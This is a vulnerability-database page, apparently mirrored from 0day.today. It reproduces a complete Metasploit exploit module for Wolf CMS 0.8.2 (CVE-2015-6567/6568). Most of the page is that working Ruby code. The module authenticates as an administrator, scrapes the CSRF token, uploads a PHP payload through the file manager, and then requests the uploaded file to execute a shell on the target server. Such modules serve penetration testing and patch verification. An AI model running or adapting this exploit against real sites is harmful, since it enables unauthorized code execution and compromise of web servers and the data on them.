Lucene search
K

Wolf CMS 0.8.2 - Arbitrary File Upload (Metasploit)

🗓️ 22 Jun 2016 00:00:00Reported by s0nk3yType 
zdt
 zdt
🔗 0day.today👁 75 Views

Wolfcms 0.8.2 arbitrary file upload vulnerability in file manage

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Wolf CMS Arbitrary File Upload To Command Execution Exploit
28 Aug 201500:00
zdt
Circl
CVE-2015-6567
3 Nov 202509:35
circl
CNVD
Wolf CMS Metasploit Module Arbitrary File Upload Vulnerability
23 Jun 201600:00
cnvd
CNVD
Wolf CMS Metasploit module arbitrary file upload vulnerability (CNVD-2016-04300)
23 Jun 201600:00
cnvd
CVE
CVE-2015-6567
14 Apr 201716:00
cve
CVE
CVE-2015-6568
14 Apr 201716:00
cve
Cvelist
CVE-2015-6567
14 Apr 201716:00
cvelist
Cvelist
CVE-2015-6568
14 Apr 201716:00
cvelist
Exploit DB
Wolf CMS - Arbitrary File Upload / Execution
28 Aug 201500:00
exploitdb
exploitpack
Wolf CMS 0.8.2 - Arbitrary File Upload (Metasploit)
22 Jun 201600:00
exploitpack
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
    def initialize
    super(
      'Name'           => 'Wolfcms 0.8.2 Arbitrary PHP File Upload Vulnerability',
      'Description'    => %q{
        This module exploits a file upload vulnerability in Wolfcms
        version 0.8.2. This application has an upload feature that 
        allows an authenticated user with administrator roles to upload 
        arbitrary files to the '/public' directory.
      },
      'Author'         => [
        'Narendra Bhati', # Proof of concept
        'Rahmat Nurfauzi' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-6568'], 
          ['CVE', '2015-6567'],
          ['OSVDB','126852'],          
          ['EDB', '38000'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Wolfcms <= 0.8.2', {}]
        ],
      'DisclosureDate' => 'Aug 28 2015',
      'Privileged'     => false,      
      'DefaultTarget' => 0
    )
 
    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to wolfcms', '/wolfcms']),
          OptString.new('USER', [true, 'User to login with', '']),
          OptString.new('PASS', [true, 'Password to login with', '']),
        ], self.class)
    end
   
  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, "/?/admin/login/login/"),
      'vars_post' => {
          "login[username]" => datastore['USER'],
          "login[password]" => datastore['PASS'],
          "login[redirect]" => "/wolfcms/?/admin"
      }
    })
    return res
  end
 
  def exploit
 
    upload_name = rand_text_alpha(5 + rand(5)) + '.php'
 
    get_cookie = login.get_cookies
    cookie = get_cookie.split(";")[3]
 
    token = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri'    => normalize_uri(target_uri, "/?/admin/plugin/file_manager/browse/")     
    })
 
    html = token.body
    if html =~ /Files/
      print_status("Login successfuly")
    end
    csrf_token = html.scan(/<input\s*id=\"csrf_token\"\s*name=\"csrf_token\"\s*type=\"hidden\"\s*value=\"(.*)"/).last.first
 
    boundary = Rex::Text.rand_text_hex(28)
 
    data = "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"csrf_token\"\r\n"
    data << "\r\n"
    data << csrf_token
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload[path]\"\r\n\r\n"
    data << "/"
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload_file\"; filename=\"#{upload_name}\"\r\n"
    data << "Content-Type: text/x-php\r\n"
    data << "\r\n"
    data << payload.encoded
    data << "\r\n"
    data << "-----------------------------#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"commit\"\r\n"
    data << "\r\n"
    data << "Upload\r\n"
    data << "-----------------------------#{boundary}--\r\n\r\n"
 
    print_good("#{peer} - Payload uploaded as #{upload_name}")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data; boundary=---------------------------' + boundary,
        'Cookie'   => cookie,
      },
      'uri' => normalize_uri(target_uri, "/?/admin/plugin/file_manager/upload/")     
    })
     
    register_file_for_cleanup(upload_name)
 
    print_status("#{peer} - Executing shell...")
 
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "public",upload_name),
    })
    
  end   
end

#  0day.today [2018-01-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2016 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.11862
75